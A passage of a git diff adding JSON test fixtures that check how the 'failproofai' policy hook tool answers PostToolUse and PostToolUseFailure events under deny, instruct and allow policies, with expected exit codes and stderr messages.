"reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9ebe480b --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..83752f03 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..6a4721b9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b4ff1ef3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ed5d01c9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c5af44bd --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..89bd6ac4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..05061eb0 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ce3c624e --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..22debdcc --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..039c6a7d --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3dba6266 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..4f7b8ca3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..359a73ba --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..cf54f079 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..28cfe6b7 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..199d52a1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b0df20e0 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5b6b870e --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + 